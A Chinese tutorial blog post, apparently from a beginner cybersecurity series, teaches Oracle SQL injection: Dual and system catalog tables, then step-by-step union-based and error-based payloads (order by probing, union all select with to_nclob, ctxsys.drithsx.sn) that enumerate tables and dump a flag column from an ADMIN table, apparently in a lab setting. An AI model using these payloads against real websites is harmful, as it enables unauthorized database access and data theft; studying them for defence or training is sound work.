网络安全从入门到精通(第六章-5)Oracle注入 —— 报错注入

							Oracle注入 —— 报错注入
每日一句:
	技术是无罪的,有罪的是欲望和贪念
本文内容:
			~注入函数解析
			~报错注入+联合查询(union all)
			~实战注意

一、注入函数解析

0,本章提示:
	Oracle注入比较麻烦,有点小难要有心理准备,原因是Oracle数据库本身比较复杂

1,Oracle中的一个表 -- Dual
	
	本质:为了满足语句格式而诞生的一个临时表	
			//有人说是实表,有人说是虚表,咱们不用再在意
	用法:
			在mysql中可能可以直接这么写 	select 1,2,3;				
										select user();//查询当前用户
			
			但Oracle语法结构严谨,这么写	select 1,2,3 from Dual;		
										select user from Dual
			
			除此之外,还可以这么用:
			
				select dbms_random.random from dual		//获取随机值
				select 22+33 from dual					//计算加减法
					。。。。。
				
			等等很多小功能,有兴趣的同学可以自行探索

2,查询系统自带表:
		select * from all_tables		//查询出所有的字段
		select * from user_tables		//查询出当前用户的表
	
		提示:Oracle数据库弱化了库的概念,主要以用户名作为区分
	
		select * from all_tab_columns	//查询出所有的字段
		select * from user_tab_columns	//查询当前用户所有的字段
	
3,补充:	
		~1,	所有数据库基本都区分大小写(引号内的内容),
				但是字段名一般不区分,比如FROM==from
		
		~2,limit 字段是mysql特有的,Oracle数据库有类似的rownum,但是又区别
			
				例如:
						select *from user_tab_columns where tabIE_name='ADMIN' and rownum<=1
						//输出1条数据 ; 当输出的是一条时,可以不写"<"
						select *from user_tab_columns where tabIE_name='ADMIN' and rownum<=3
						//输出3条数据
		~3,屏蔽某个字段
				select  * from user_tab_columns where tabIE_name='ADMIN' and rownum=1 
				and COLUMN_NAME <> 'ID'
								//输出admin表中除了id字段所有内容
				select  * from user_tab_columns where tabIE_name='ADMIN' and rownum=1 
				and COLUMN_NAME <> 'ID' and COLUMN_NAME <> 'USER_NAME'
								//输出admin表中除了id,user_name字段的所有内容

二、报错注入+联合查询(union all)

	1,判断注入点
			url id=1    ' -- qwe
	2,判断字段数
			url id=1	' order by 3 -- qwe
	3,判断输出点
			url id=1	' union all select null,null,null from dual -- qwe
	4,查询系统自带表
			url' union all select 1,null,to_nclob(TABLE_NAME) from user_tables -- qwe
					//to_nclob()函数的作用:将值转换为 NCLOB 数据类型。这是偶然现象
	5,得到字段
			url' union all select 1,null,to_nclob(COLUMN_NAME) from user_tab_columns where TABLE_NAME='ADMIN' -- qwe
			//查询ADMIN内的字段,可以在最后增加限制:AND rownum=1 and COLUMN_NAME<>'ID'等等
	6,查询内容
			url' union all select 1,null,to_nclob(FLAG_FLAG) from ADMIN -- qwe
			
	7,补充,查询当前用户
			url' union all select 1,null,to_nclob(user) from DUAL -- qwe

三、实战注意

	1,报错函数(类似updataxml()的用法)
		用法:
		and 1=ctxsys.drithsx.sn(1,(select TABLE_NAME from user_tables where rownum=1))-- qwe
		
		//查询当前用户有什么表,这就是固定用法,这个函数我在网上也没找到太多的内容。
		//报错注入,一次不能显示太多的数据
		
		and 1=ctxsys.drithsx.sn(1,(select TABLE_NAME from user_tables where rownum=1 and table_name <> 'ADMIN'))-- qwe
		//用了报错注入就不用纠结类型了,但是就是输出单行了
		
	2,union all的用法
		基本除了MySQL其他的数据库的联合查询都需要这么写。不然会报错
		但是,mysql也是可以这么用的,MySQL用了加上all,会将重复的数据也显出
	
	3,oracle的注释
		
			--这是单行注释
			 
			/*
			这是多行注释
			*/

你可能感兴趣的:(网安小白的成长路)